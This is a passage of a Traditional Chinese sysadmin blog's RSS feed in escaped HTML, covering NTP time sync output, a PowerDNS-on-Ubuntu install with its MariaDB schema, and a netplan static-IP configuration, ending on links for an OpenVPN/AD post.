&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>61-216-153-107.hinet-ip.&amp;gt; &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">135&lt;/span> +4.455 19.761 +622us 247us
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>59-125-122-217.hinet-ip.&amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> +0.000 2000.000 +0ns 4000ms
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>61-216-153-105.hinet-ip.&amp;gt; &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> &lt;span style="color:#ae81ff">136&lt;/span> +8.965 42.440 +1250us 495us
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="將系統時間寫到硬體主機板上的時間上">將系統時間寫到硬體(主機板上的時間)上&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>~# hwclock --systohc
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# date ; hwclock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Tue Mar &lt;span style="color:#ae81ff">27&lt;/span> 14:07:57 CST &lt;span style="color:#ae81ff">2018&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Tue &lt;span style="color:#ae81ff">27&lt;/span> Mar &lt;span style="color:#ae81ff">2018&lt;/span> 02:07:58 PM CST -0.938012 seconds
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>在 Ubuntu 22.04|20.04|18.04 安裝 PowerDNS 與 PowerDNS-Admin</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200925-install-powerdns-and-powerdns-admin-on-ubuntu/</link><pubDate>Fri, 25 Sep 2020 09:38:17 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200925-install-powerdns-and-powerdns-admin-on-ubuntu/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://computingforgeeks.com/install-powerdns-and-powerdns-admin-on-ubuntu/" target="_blank" rel="noopener">在 Ubuntu 22.04|20.04|18.04 安裝 PowerDNS 與 PowerDNS-Admin&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.zswap.net/master-master-powerdns-with-galera-replication/" target="_blank" rel="noopener">使用 Galera 複寫的 PowerDNS 主主架構&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.scaleway.com/en/docs/installing-powerdns-server-on-ubuntu-bionic/" target="_blank" rel="noopener">https://www.scaleway.com/en/docs/installing-powerdns-server-on-ubuntu-bionic/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="安裝-powerdns">安裝 PowerDNS&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ sudo apt update
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo apt install mariadb-server -y
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo mysql -u root
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">DATABASE&lt;/span> powerdns;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">GRANT&lt;/span> &lt;span style="color:#66d9ef">ALL&lt;/span> &lt;span style="color:#66d9ef">ON&lt;/span> powerdns.&lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#66d9ef">TO&lt;/span> &lt;span style="color:#e6db74">&amp;#39;powerdns&amp;#39;&lt;/span>&lt;span style="color:#f92672">@&lt;/span>&lt;span style="color:#e6db74">&amp;#39;localhost&amp;#39;&lt;/span> IDENTIFIED &lt;span style="color:#66d9ef">BY&lt;/span> &lt;span style="color:#e6db74">&amp;#39;Str0ngPasswOrd&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>FLUSH &lt;span style="color:#66d9ef">PRIVILEGES&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>USE powerdns;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> domains (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id INT AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>) &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> master VARCHAR(&lt;span style="color:#ae81ff">128&lt;/span>) &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> last_check INT &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> VARCHAR(&lt;span style="color:#ae81ff">6&lt;/span>) &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> notified_serial INT UNSIGNED &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account VARCHAR(&lt;span style="color:#ae81ff">40&lt;/span>) CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;utf8&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span> (id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">UNIQUE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> name_index &lt;span style="color:#66d9ef">ON&lt;/span> domains(name);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> records (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id BIGINT AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> domain_id INT &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>) &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> VARCHAR(&lt;span style="color:#ae81ff">10&lt;/span>) &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> content VARCHAR(&lt;span style="color:#ae81ff">64000&lt;/span>) &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ttl INT &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> prio INT &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> change_date INT &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> disabled TINYINT(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ordername VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>) BINARY &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> auth TINYINT(&lt;span style="color:#ae81ff">1&lt;/span>) &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span> (id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> nametype_index &lt;span style="color:#66d9ef">ON&lt;/span> records(name,&lt;span style="color:#66d9ef">type&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> domain_id &lt;span style="color:#66d9ef">ON&lt;/span> records(domain_id);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> ordername &lt;span style="color:#66d9ef">ON&lt;/span> records (ordername);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> supermasters (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ip VARCHAR(&lt;span style="color:#ae81ff">64&lt;/span>) &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nameserver VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>) &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account VARCHAR(&lt;span style="color:#ae81ff">40&lt;/span>) CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;utf8&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span> (ip, nameserver)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> comments (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id INT AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> domain_id INT &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>) &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> VARCHAR(&lt;span style="color:#ae81ff">10&lt;/span>) &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> modified_at INT &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account VARCHAR(&lt;span style="color:#ae81ff">40&lt;/span>) CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;utf8&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">DEFAULT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">comment&lt;/span> TEXT CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;utf8&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span> (id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> comments_name_type_idx &lt;span style="color:#66d9ef">ON&lt;/span> comments (name, &lt;span style="color:#66d9ef">type&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> comments_order_idx &lt;span style="color:#66d9ef">ON&lt;/span> comments (domain_id, modified_at);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> domainmetadata (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id INT AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> domain_id INT &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> kind VARCHAR(&lt;span style="color:#ae81ff">32&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> content TEXT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span> (id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> domainmetadata_idx &lt;span style="color:#66d9ef">ON&lt;/span> domainmetadata (domain_id, kind);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> cryptokeys (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id INT AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> domain_id INT &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> flags INT &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> active BOOL,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> content TEXT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span>(id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> domainidindex &lt;span style="color:#66d9ef">ON&lt;/span> cryptokeys(domain_id);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">TABLE&lt;/span> tsigkeys (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> id INT AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> algorithm VARCHAR(&lt;span style="color:#ae81ff">50&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> secret VARCHAR(&lt;span style="color:#ae81ff">255&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span> (id)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>) Engine&lt;span style="color:#f92672">=&lt;/span>InnoDB CHARACTER &lt;span style="color:#66d9ef">SET&lt;/span> &lt;span style="color:#e6db74">&amp;#39;latin1&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">UNIQUE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> namealgoindex &lt;span style="color:#66d9ef">ON&lt;/span> tsigkeys(name, algorithm);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>$ sudo systemctl disable systemd-resolved
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo systemctl stop systemd-resolved
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls -lh /etc/resolv.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>lrwxrwxrwx &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">39&lt;/span> Jul &lt;span style="color:#ae81ff">24&lt;/span> 15:50 /etc/resolv.conf -&amp;gt; ../run/systemd/resolve/stub-resolv.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo unlink /etc/resolv.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ echo &lt;span style="color:#e6db74">&amp;#34;nameserver 8.8.8.8&amp;#34;&lt;/span> | sudo tee /etc/resolv.conf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>新增 Ubuntu 22.04|20.04|18.04 的 PowerDNS 官方套件庫。&lt;/p></description></item><item><title>Ubuntu 18.04 透過 netplan 設定網路卡 IP</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200918-ubuntu-18-04/</link><pubDate>Fri, 18 Sep 2020 13:00:05 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200918-ubuntu-18-04/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.toright.com/posts/6293/ubuntu-18-04-%E9%80%8F%E9%81%8E-netplan-%E8%A8%AD%E5%AE%9A%E7%B6%B2%E8%B7%AF%E5%8D%A1-ip.html" target="_blank" rel="noopener">Ubuntu 18.04 透過 netplan 設定網路卡 IP&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>照上面的說明看了一下 /etc/netplan 目錄，查閱一下 /etc/netplan/50-cloud-init.yaml，如下：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># This file is generated from information provided by&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># the datasource. Changes to it will not persist across an instance.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># To disable cloud-init&amp;#39;s network configuration capabilities, write a file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># network: {config: disabled}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">network&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ethernets&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ens192&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dhcp4&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ens224&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dhcp4&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">version&lt;/span>: &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>看來可以關閉 cloud network，但是我其實也沒有要用 cloud-init，乾脆移除它，如下：&lt;/p>
&lt;blockquote>
&lt;p>&lt;code>sudo apt-get remove cloud-init&lt;/code>&lt;/p>&lt;/blockquote>
&lt;p>然後把 /etc/netplan/50-cloud-init.yaml 改成下面這樣：&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># This file is generated from information provided by&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># the datasource. Changes to it will not persist across an instance.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># To disable cloud-init&amp;#39;s network configuration capabilities, write a file&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># network: {config: disabled}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">network&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ethernets&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ens192&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">addresses&lt;/span>: [&lt;span style="color:#ae81ff">192.168.32.231&lt;/span>&lt;span style="color:#ae81ff">/24]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">gateway4&lt;/span>: &lt;span style="color:#ae81ff">192.168.32.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">nameservers&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">addresses&lt;/span>: [&lt;span style="color:#ae81ff">8.8.8.8&lt;/span>, &lt;span style="color:#ae81ff">8.8.4.4&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dhcp4&lt;/span>: &lt;span style="color:#66d9ef">no&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ens224&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">dhcp4&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">version&lt;/span>: &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>這幾年 yaml 深得大眾的心，設定檔就是要用 yaml 格式才是潮，解說一下上述幾個設定：&lt;/p></description></item><item><title>openvpn部署之部署基於AD域認證</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200917-5b892a0b2b71775d1ce04eff/</link><pubDate>Thu, 17 Sep 2020 13:15:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200917-5b892a0b2b71775d1ce04eff/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.twblogs.net/a/5b892a0b2b71775d1ce04eff" target="_blank" rel="noopener">openvpn 部署之部署基於 AD 域認證&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jameschien.no-ip.biz/wordpress/2020/02/19/openvpn-pam-sssd-active-directory/" target="_blank" rel="noopener">OpenVPN + PAM + SSSD + Active Directory&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://computingforgeeks.com/install-and-configure-openvpn-server-on-rhel-centos-8/" target="_blank" rel="noopener">https://computingforgeeks.com/install-and-configure-openvpn-server-on-rhel-centos-8/&lt;/a>&lt;/li>
